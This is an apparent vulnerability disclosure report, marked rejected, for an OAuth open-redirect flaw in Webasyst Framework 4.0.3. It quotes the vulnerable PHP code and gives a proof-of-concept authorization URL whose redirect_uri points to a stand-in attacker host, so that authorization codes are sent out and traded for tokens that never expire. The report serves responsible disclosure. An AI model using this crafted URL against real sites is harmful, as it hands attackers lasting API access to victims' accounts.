Unvalidated redirect_uri in OAuth Authorization Flow Allows Authorization Code Interception and Permanent API Access Rejected

1

Affected Product: Webasyst Framework

Affected Version: 4.0.3 and likely earlier versions
Affected File: <code class="bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]">wa-system/webasyst/lib/actions/api/webasystApiAuth.action.php</code>

Description:

The OAuth authorization endpoint /api.php/auth does not validate the redirect_uri parameter against any registered or whitelisted URIs. An attacker can craft a malicious authorization URL pointing to an attacker-controlled server. When an authenticated victim approves the request, the authorization code is redirected to the attacker's server. The attacker can then exchange this code for a valid API access token with no expiration date, gaining permanent unauthorized API access to the victim's Webasyst account.

Root Cause:

In <code class="bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]">webasystApiAuth.action.php</code>, the <code class="bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]">approve()</code> method uses the <code class="bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]">redirect_uri</code> directly without validation:

protected function approve($scope) {    $url = waRequest::get(&#039;redirect_uri&#039;); // No validation!    if ($this->response_type == &#039;token&#039;) {        $token_model = new waApiTokensModel();        $token = $token_model->getToken(...);        $this->redirect($url.&#039;#access_token=&#039;.$token);    } elseif ($this->response_type == &#039;code&#039;) {        $code = $this->createAuthCode($scope);        if ($url) {            $this->redirect($url.&#039;?code=&#039;.$code); // Redirects anywhere!        }    } }

and the generated access_token has no expire date

$this->insert(array(    &#039;token&#039; => $token,    &#039;client_id&#039; => $client_id,  &#039;contact_id&#039; => $contact_id,    &#039;scope&#039; => $scope,    &#039;create_datetime&#039; => date(&#039;Y-m-d H:i:s&#039;),    &#039;expires&#039; => null  // Never expires! ));

PoC:

Crafting malicious url and send it to a admin

Example:

<code>http://target.com/webasyst/api.php/auth?client_id=evil&client_name=EvilApp&response_type=code&scope=webasyst&redirect_uri=http://attacker-ip:8000/steal</code>

when the victim press allow

then attacker will be able to exchange the code for access_token that never expires

testing the api access token


Disclosure Timeline:
- Discovery Date: April 2026
- Vendor Notification: April 2026
- Public Disclosure: 90 days from vendor notification

CVE Request:
I am requesting a CVE identifier be assigned to this vulnerability. If your organization is a CVE Numbering Authority (CNA), please assign a CVE ID. If not, I will request one directly from MITRE after your acknowledgment.

I am committed to responsible disclosure and will not publish details of this vulnerability publicly until:
- A fix has been released, OR
- 90 days have passed from the date of this report

Please acknowledge receipt of this report at your earliest convenience.

Researcher: Saleh alghamdi
Contact: salehalghamdi306@gmail.com

Best regard

0 comments

    Add comment

    To add a comment please sign up or login